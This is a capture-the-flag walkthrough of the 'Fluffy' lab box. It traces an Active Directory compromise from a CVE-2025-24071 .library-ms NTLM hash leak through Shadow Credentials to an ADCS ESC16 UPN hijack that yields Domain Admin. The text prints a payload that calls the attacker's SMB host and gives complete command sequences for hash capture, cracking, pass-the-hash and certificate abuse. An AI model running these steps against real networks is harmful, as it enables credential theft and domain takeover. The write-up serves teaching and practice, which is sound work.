
Fluffy: Shadow Credentials and ADCS ESC16
Active Directory chain — CVE-2025-24071 hash leak, Shadow Credentials via GenericWrite, and ADCS ESC16 UPN hijack to Domain Admin.
Initial Reconnaissance – Port Scanning
The assessment started with a service-version scan against 10.129.232.88, host discovery disabled (-Pn):
$ nmap -sV -Pn -T4 10.129.232.88
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-01 19:35 -0300
Nmap scan report for 10.129.232.88
Host is up (0.18s latency).
Not shown: 989 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-09-02 05:35:46Z)
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb, Site: Default-First-Site-Name)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb, Site: Default-First-Site-Name)
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb, Site: Default-First-Site-Name)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
The fingerprint is a textbook domain controller: DNS (53), Kerberos (88), LDAP (389/636/3268/3269), SMB (139/445), RPC over HTTP (593), and WinRM (5985). The LDAP banner leaks the domain (fluffy.htb) and the host (DC01), so the first step is to add both to /etc/hosts and start enumerating from the lowest port upwards.
Domain Enumeration
53/tcp – DNS Zone Transfer
DNS is first on the list. A full zone transfer would hand over every record in the zone, so it is always worth a try before anything else:
$ host -t axfr fluffy.htb 10.129.232.88
Trying "fluffy.htb"
Using domain server:
Name: 10.129.232.88
Address: 10.129.232.88#53
Aliases:
Host fluffy.htb not found: 5(REFUSED)
; Transfer failed.
REFUSED — the DC is not handing out its zone to an anonymous client. Nothing here, move on.
445/tcp – SMB Null and Guest Sessions
Next, SMB. A null session confirms the host details but gives up nothing on its own:
$ nxc smb 10.129.232.88 -u '' -p ''
SMB 10.129.232.88 445 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.232.88 445 DC01 [+] fluffy.htb\:
A RID brute over the null session fails immediately with STATUS_ACCESS_DENIED:
$ nxc smb 10.129.232.88 -u '' -p '' --rid-brute
SMB 10.129.232.88 445 DC01 [-] Error connecting: LSAD SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.
The trick here is that the built-in guest account is enabled, and unlike the pure null session it is allowed to talk to the SAM/LSA interfaces. Swapping '' for guest gets the RID cycle working:
$ nxc smb 10.129.232.88 -u 'guest' -p '' --rid-brute
SMB 10.129.232.88 445 DC01 [+] fluffy.htb\guest:
...
SMB 10.129.232.88 445 DC01 1103: FLUFFY\ca_svc (SidTypeUser)
SMB 10.129.232.88 445 DC01 1104: FLUFFY\ldap_svc (SidTypeUser)
SMB 10.129.232.88 445 DC01 1601: FLUFFY\p.agila (SidTypeUser)
SMB 10.129.232.88 445 DC01 1603: FLUFFY\winrm_svc (SidTypeUser)
SMB 10.129.232.88 445 DC01 1604: FLUFFY\Service Account Managers (SidTypeGroup)
SMB 10.129.232.88 445 DC01 1605: FLUFFY\j.coffey (SidTypeUser)
SMB 10.129.232.88 445 DC01 1606: FLUFFY\j.fleischman (SidTypeUser)
SMB 10.129.232.88 445 DC01 1607: FLUFFY\Service Accounts (SidTypeGroup)
Two things stand out immediately in that list: the three service accounts (ca_svc, ldap_svc, winrm_svc), and two custom groups — Service Account Managers and Service Accounts. The naming alone suggests a delegation relationship worth chasing later.
The guest session can also enumerate shares, but only the defaults are readable at this point:
$ nxc smb 10.129.232.88 -u 'guest' -p '' --shares
SMB 10.129.232.88 445 DC01 Share Permissions Remark
SMB 10.129.232.88 445 DC01 ----- ----------- ------
SMB 10.129.232.88 445 DC01 ADMIN$ Remote Admin
SMB 10.129.232.88 445 DC01 C$ Default share
SMB 10.129.232.88 445 DC01 IPC$ READ Remote IPC
SMB 10.129.232.88 445 DC01 IT
SMB 10.129.232.88 445 DC01 NETLOGON Logon server share
SMB 10.129.232.88 445 DC01 SYSVOL Logon server share
There is a non-standard IT share, but guest has no access to it. That is as far as anonymous enumeration goes — the box hands over a set of domain credentials for the assumed-breach starting point:
j.fleischman / J0elTHEM4n1990!
389/tcp – LDAP Users and Groups
With j.fleischman in hand, LDAP becomes far more useful. Dumping users and groups confirms the picture and shows which accounts carry SPNs:
$ nxc ldap 10.129.232.88 -u 'j.fleischman' -p 'J0elTHEM4n1990!' --users --groups
LDAP 10.129.232.88 389 DC01 [+] fluffy.htb\j.fleischman:J0elTHEM4n1990!
LDAP 10.129.232.88 389 DC01 -Username- -Last PW Set- -BadPW- -Description-
LDAP 10.129.232.88 389 DC01 ca_svc 2025-04-17 13:07:50 2
LDAP 10.129.232.88 389 DC01 ldap_svc 2025-04-17 13:17:00 2
LDAP 10.129.232.88 389 DC01 p.agila 2025-04-18 11:37:08 2
LDAP 10.129.232.88 389 DC01 winrm_svc 2025-05-17 21:51:16 1
LDAP 10.129.232.88 389 DC01 j.coffey 2025-04-19 09:09:55 1
LDAP 10.129.232.88 389 DC01 j.fleischman 2025-05-16 11:46:55 1
...
LDAP 10.129.232.88 389 DC01 Service Account Managers 2
LDAP 10.129.232.88 389 DC01 Service Accounts 3
The two custom groups carry members, so they are real delegation objects rather than empty leftovers. I noted them and moved on — the graph is the right tool to untangle who can do what to whom, and I'll come back to it with BloodHound once I have a shell-capable account.
88/tcp – Kerberoasting
Before that, the three SPN-bearing service accounts are an obvious offline-cracking target, so I requested their tickets:
$ impacket-GetUserSPNs -dc-ip 10.129.232.88 fluffy.htb/j.fleischman:'J0elTHEM4n1990!' -outputfile hashes.txt -request
ServicePrincipalName Name MemberOf ...
---------------------- --------- --------------------------------------------- ...
ADCS/ca.fluffy.htb ca_svc CN=Service Accounts,CN=Users,DC=fluffy,DC=htb
LDAP/ldap.fluffy.htb ldap_svc CN=Service Accounts,CN=Users,DC=fluffy,DC=htb
WINRM/winrm.fluffy.htb winrm_svc CN=Service Accounts,CN=Users,DC=fluffy,DC=htb
[-] CCache file is not found. Skipping...
[-] Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
Two lessons in one command. First, ADCS/ca.fluffy.htb tells us ca_svc is the Certificate Authority service account — a strong hint that AD CS is in play. Second, KRB_AP_ERR_SKEW is the first of many clock-skew errors on this box; Kerberos rejects tickets when the client clock drifts more than five minutes from the DC. From here on, syncing time to the DC before any Kerberos operation becomes routine:
$ sudo timedatectl set-ntp false
$ sudo ntpdate -u dc01.fluffy.htb
The TGS hashes came back, but none of them fell to rockyou.txt. Kerberoasting was a dead end — the service passwords are strong. That is fine; the group names hinted at a cleaner ACL-based path, and the credentials I actually needed came from the IT share.
Foothold – The IT Share and CVE-2025-24071
Enumerating the Share as j.fleischman
The key difference with real domain credentials is write access. Re-running the share enumeration as j.fleischman shows READ,WRITE on IT:
$ nxc smb 10.129.232.88 -u 'j.fleischman' -p 'J0elTHEM4n1990!' --shares
SMB 10.129.232.88 445 DC01 Share Permissions Remark
SMB 10.129.232.88 445 DC01 ----- ----------- ------
SMB 10.129.232.88 445 DC01 IT READ,WRITE
SMB 10.129.232.88 445 DC01 NETLOGON READ Logon server share
SMB 10.129.232.88 445 DC01 SYSVOL READ Logon server share
The share holds a couple of software packages and, more interestingly, an upgrade notice:
$ smbclient \\\\fluffy.htb\\IT -U 'j.fleischman'
smb: \> ls
Everything-1.4.1.1026.x64 D 0 Fri Apr 18 12:08:44 2025
Everything-1.4.1.1026.x64.zip A 1827464 Fri Apr 18 12:04:05 2025
KeePass-2.58 D 0 Fri Apr 18 12:08:38 2025
KeePass-2.58.zip A 3225346 Fri Apr 18 12:03:17 2025
Upgrade_Notice.pdf A 169963 Sat May 17 11:31:07 2025
Upgrade_Notice.pdf reads like an internal patch-management memo and lists a set of recently disclosed CVEs the team is "planning" to remediate — among them CVE-2025-24071. Combined with READ,WRITE on a share that is clearly being browsed by IT staff, this is the intended vector: drop a malicious file, wait for someone to open the folder, and collect their hash.
Leaking a Hash via .library-ms (CVE-2025-24071)
CVE-2025-24071 is a Windows File Explorer flaw in the handling of .library-ms files. When a .library-ms containing a UNC path is extracted from an archive — or simply rendered in an Explorer window — Explorer automatically parses it to build a preview and index metadata, and reaches out to the SMB server named in the <simpleLocation> tag. That outbound SMB connection carries an NTLM authentication handshake, leaking the browsing user's Net-NTLMv2 hash with no click required.
The payload is a small XML file whose only job is to point at our host:
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<searchConnectorDescriptionList>
<searchConnectorDescription>
<simpleLocation>
<url>\\10.10.17.156\share</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
Any of the public PoCs generate this and wrap it in a ZIP; here I generate it pointing at my tun0 address and drop the artifacts straight into the writable share:
$ python3 CVE-2025-24071.py -i 10.10.17.156 -n exploit
[+] Created exploit.library-ms
[+] Packaged exploit.zip
$ smbclient \\\\fluffy.htb\\IT -U 'j.fleischman'
smb: \> put exploit.library-ms
smb: \> put exploit.zip
With the files staged, responder listens for the callback:
$ sudo responder -I tun0 -v
...
[SMB] NTLMv2-SSP Client : 10.129.232.88
[SMB] NTLMv2-SSP Username : FLUFFY\p.agila
[SMB] NTLMv2-SSP Hash : p.agila::FLUFFY:1122334455667788:A1B2...:0101000000000000...
Within a minute p.agila browses the IT share and Explorer coughs up their Net-NTLMv2 hash.
Alternative – nxc slinky module
The same result can be achieved in a single command with the slinky module in NetExec. It automatically drops a malicious .lnk file onto every writable share, pointing the icon path at our SMB listener:
$ nxc smb 10.129.232.88 -u 'j.fleischman' -p 'J0elTHEM4n1990!' -M slinky -o NAME=exploit SERVER=10.10.17.156
SMB 10.129.232.88 445 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:None)
SMB 10.129.232.88 445 DC01 [+] fluffy.htb\j.fleischman:J0elTHEM4n1990!
SLINKY 10.129.232.88 445 DC01 [+] Created exploit.lnk on IT
With responder still listening on tun0, the hash comes back the same way — no manual file crafting, no smbclient upload. The module handles share enumeration, permission checks, and file placement in one shot. After collecting the hash, clean up with the same module:
$ nxc smb 10.129.232.88 -u 'j.fleischman' -p 'J0elTHEM4n1990!' -M slinky -o NAME=exploit SERVER=10.10.17.156 CLEANUP=true
Cracking p.agila
The captured hash is a mode-5600 (NetNTLMv2) hash for hashcat:
$ hashcat -m 5600 -a 0 p.agila.hash /usr/share/wordlists/rockyou.txt
...
P.AGILA::FLUFFY:1122334455667788:...:prometheusx-303
That gives the second set of domain credentials: p.agila / prometheusx-303. This is the account the rest of the chain is built on.
Mapping the Path with BloodHound
Kerberoasting had already failed, and the interesting objects (Service Account Managers, Service Accounts, three service users) all pointed at an ACL relationship. Rather than guess, I collected the graph as p.agila:
$ bloodhound-python -u 'p.agila' -p 'prometheusx-303' -d fluffy.htb \
-ns 10.129.232.88 -c All --zip
Service Account Managers to Service Accounts
Setting p.agila as the starting node and running the built-in Shortest Paths from Owned Principals query returns a short, clean chain.
p.agila is a member of Service Account Managers, and that group holds GenericAll over the Service Accounts group.
GenericAll over a group means full control of its membership — I can simply add myself. That maps directly to the earlier hint from RID brute and confirms why the two groups exist.
Service Accounts to Shadow Credentials
The second edge is the important one. The Service Accounts group has GenericWrite over each of the three service users (winrm_svc, ca_svc, ldap_svc).
GenericWrite over a user object lets me write its msDS-KeyCredentialLink attribute — the classic Shadow Credentials primitive. By adding an attacker-controlled key credential, I can authenticate as that user via PKINIT and recover an NT hash, without ever knowing or resetting its password.
Putting the two edges together, the full path to a service-account shell is:
p.agila
| memberOf
v
Service Account Managers --GenericAll--> Service Accounts (group)
| GenericWrite
v
winrm_svc - ca_svc - ldap_svc
| Shadow Credentials (msDS-KeyCredentialLink)
v
NT hash -> PKINIT -> shell
The first move is to grant p.agila the group membership that GenericAll allows:
$ bloodyad -u 'p.agila' -p 'prometheusx-303' -d fluffy.htb --host 10.129.232.88 \
add groupMember 'service accounts' p.agila
[+] p.agila added to service accounts
net rpc group addmem achieves the same thing if you prefer to stay off LDAP:
$ net rpc group addmem "Service Accounts" "p.agila" \
-U "FLUFFY.HTB"/"p.agila"%'prometheusx-303' -S 'DC01.fluffy.htb'
p.agila now inherits the group's GenericWrite over all three service accounts, which unlocks Shadow Credentials against every one of them.
First Shell – Shadow Credentials on winrm_svc
winrm_svc is a member of Remote Management Users, so it can log in over WinRM — that is the account to target first for a shell and the user flag.
pywhisker (Manual)
To see the moving parts, the manual route with pywhisker writes the key credential and exports a PFX:
$ pywhisker -d "fluffy.htb" -u "p.agila" -p 'prometheusx-303' --target "winrm_svc" --action "add"
[*] Searching for the target account
[*] Target user found: CN=winrm service,CN=Users,DC=fluffy,DC=htb
[*] Generating certificate
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: a8a738ee-96c1-0d4f-d102-607b381de28f
[*] Updating the msDS-KeyCredentialLink attribute of winrm_svc
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[+] Saved PFX (#PKCS12) certificate & key at path: M4lxzeRZ.pfx
[*] Must be used with password: sf7amrFe3nx3rjns3G1Z
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
The PFX would then be fed to PKINITtools/gettgtpkinit to obtain a TGT and, via UnPAC-the-hash, the NT hash. It works, but it is several steps.
certipy shadow auto (Automated)
certipy shadow auto collapses the whole dance — write the key credential, request a TGT via PKINIT, UnPAC the hash, then restore the original attribute — into one command. After syncing the clock to the DC to keep Kerberos happy:
$ certipy-ad shadow auto -u '[email protected]' -p 'prometheusx-303' \
-account winrm_svc -dc-ip 10.129.57.202 -dc-host dc01.fluffy.htb
[*] Targeting user 'winrm_svc'
[*] Generating certificate
[*] Adding Key Credential with device ID '...' to the Key Credentials for 'winrm_svc'
[*] Authenticating as 'winrm_svc' with the certificate
[*] Got TGT
[*] Trying to retrieve NT hash for 'winrm_svc'
[*] Restoring the old Key Credentials for 'winrm_svc'
[*] NT hash for 'winrm_svc': 33bd09dcd697600edf6b3a7af4875767
The same command run against ca_svc and ldap_svc yields their hashes too, which is worth doing now since ca_svc is needed for the privilege-escalation step:
$ certipy-ad shadow auto -u '[email protected]' -p 'prometheusx-303' -account ca_svc ...
[*] NT hash for 'ca_svc': ca0f4f9e9eb8a092addf53bb03fc98c8
$ certipy-ad shadow auto -u '[email protected]' -p 'prometheusx-303' -account ldap_svc ...
[*] NT hash for 'ldap_svc': 22151d74ba3de931a352cba1f9393a37
User Flag
winrm_svc's hash is enough for a pass-the-hash WinRM session with evil-winrm:
$ evil-winrm -i 10.129.57.202 -u winrm_svc -H 33bd09dcd697600edf6b3a7af4875767
*Evil-WinRM* PS C:\Users\winrm_svc\Desktop> cat user.txt
6021321c5a0adf5b5d56b4c09f3c4da5
Domain Admin – ADCS ESC16
The ADCS/ca.fluffy.htb SPN from way back at the Kerberoasting stage told us there is a Certificate Authority, and we now control ca_svc via its NT hash. Time to point Certipy at the CA.
Identifying the Vulnerable CA
$ certipy-ad find -username 'ca_svc' -hashes ':ca0f4f9e9eb8a092addf53bb03fc98c8' \
-dc-ip 10.129.57.202 -vulnerable -stdout
...
Certificate Authorities
0
CA Name : fluffy-DC01-CA
DNS Name : DC01.fluffy.htb
User Specified SAN : Disabled
Request Disposition : Issue
...
[!] Vulnerabilities
ESC16 : Security Extension is disabled.
ESC16 means the CA does not embed the szOID_NTDS_CA_SECURITY_EXT (SID) security extension in the certificates it issues. That extension is the binding introduced by the May 2022 certificate-mapping patch (KB5014754); with it disabled CA-wide, the KDC falls back to mapping certificates by their userPrincipalName. That is exactly the condition abused by ESC9 — if I can control a userPrincipalName, I can request a certificate that authenticates as a completely different user.
I control ca_svc's user object through the Service Accounts to GenericWrite edge, which includes the ability to write its userPrincipalName. That is the pivot.
Hijacking the userPrincipalName
Reading ca_svc first to note the original value so I can put it back later:
$ certipy-ad account -u 'p.agila' -p 'prometheusx-303' -dc-ip 10.129.57.202 -user ca_svc read
sAMAccountName : ca_svc
userPrincipalName : [email protected]
The goal is to set ca_svc's UPN to the victim, administrator. A first instinct might be to set it to another service account, but note that a plain sAMAccountName like winrm_svc is rejected — the attribute update is refused unless the value is one p.agila is actually allowed to write:
$ certipy-ad account -u 'p.agila' -p 'prometheusx-303' -dc-ip 10.129.57.202 -user ca_svc -upn winrm_svc update
[-] User 'P.AGILA' doesn't have permission to update these attributes on 'ca_svc'
Setting it to administrator succeeds:
$ certipy-ad account -u 'p.agila' -p 'prometheusx-303' -dc-ip 10.129.57.202 -user ca_svc -upn administrator update
[*] Updating user 'ca_svc':
userPrincipalName : administrator
[*] Successfully updated 'ca_svc'
ca_svc now presents itself as administrator to the CA.
Requesting the Certificate
With the spoofed UPN in place, request a certificate as ca_svc (using its NT hash) from the default User template. Because the CA has no SID extension to cross-check, it happily issues a certificate carrying the UPN administrator:
$ certipy-ad req -u '[email protected]' -hashes ':ca0f4f9e9eb8a092addf53bb03fc98c8' \
-dc-ip 10.129.57.202 -dc-host dc01.fluffy.htb -ns 10.129.57.202 \
-ca fluffy-DC01-CA -template User -timeout 60
[*] Requesting certificate via RPC
[*] Request ID is 23
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator'
[*] Saving certificate and private key to 'administrator.pfx'
Restoring the UPN and Authenticating
The first authentication attempt fails with a name mismatch:
$ certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.57.202 -domain fluffy.htb
[-] Name mismatch between certificate and user 'administrator'
The reason is the conflict I created: while ca_svc still carries the explicit UPN administrator, the KDC cannot cleanly resolve that name to the real Administrator account. The fix is to restore ca_svc's original UPN so administrator maps back to the intended target. (Group membership can get flushed on this box, so re-adding p.agila to Service Accounts first keeps the write permission valid.)
$ bloodyad -u 'p.agila' -p 'prometheusx-303' -d fluffy.htb --host 10.129.57.202 \
add groupMember 'service accounts' p.agila
[+] p.agila added to service accounts
$ certipy-ad account -u 'p.agila' -p 'prometheusx-303' -dc-ip 10.129.57.202 -user ca_svc -upn ca_svc update
[*] Updating user 'ca_svc':
userPrincipalName : ca_svc
[*] Successfully updated 'ca_svc'
Now sync the clock one more time and authenticate with the certificate, explicitly telling Certipy which principal to resolve:
$ sudo ntpdate -u dc01.fluffy.htb && certipy-ad auth -pfx administrator.pfx \
-dc-ip 10.129.57.202 -domain fluffy.htb -username administrator
[*] Certificate identities:
[*] SAN UPN: 'administrator'
[*] Using principal: '[email protected]'
[*] Trying to get TGT...
[*] Got TGT
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:8da83a3fa618b6e3a00e93f676c92a6e
There it is — the domain administrator's NT hash.
Root Flag
Pass-the-hash over WinRM as administrator:
$ evil-winrm -i 10.129.57.202 -u administrator -H 8da83a3fa618b6e3a00e93f676c92a6e
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
e07934f0d25c8e0172778264200045b1
Full domain compromise.
Conclusion
Fluffy is a pure Active Directory chain with no web surface at all. Every step is an identity or misconfiguration problem: an over-permissive guest account, a writable share browsed by staff, delegation groups that hand low-privileged users control over service accounts, and a Certificate Authority missing its SID security extension.
The route in full:
guest RID brute -> j.fleischman (given) -> writable IT share
-> CVE-2025-24071 (.library-ms) -> p.agila hash -> crack -> prometheusx-303
-> GenericAll on Service Accounts -> self-add -> GenericWrite on service users
-> Shadow Credentials -> winrm_svc hash -> user.txt
-> ca_svc hash -> ADCS ESC16 (UPN hijack) -> administrator hash -> root.txt
References
-
Rewterz / NSFOCUS CERT – PoC Released: Windows Explorer Vulnerability Leaks NTLM Hashes (CVE-2025-24071) — Advisory describing the
.library-msNTLM leak abused for thep.agilafoothold. -
The Hacker Recipes – Shadow Credentials — Abusing
msDS-KeyCredentialLinkwrites for PKINIT authentication. -
SpecterOps – Certified Pre-Owned — Foundational AD CS abuse research; background for the ESC family of attacks.
-
Certipy Wiki – ESC16 (Security Extension Disabled) — Details on the disabled SID extension and UPN-based certificate mapping abuse.
-
Microsoft KB5014754 – Certificate-based authentication changes on Windows domain controllers — The SID security extension that ESC16 disables.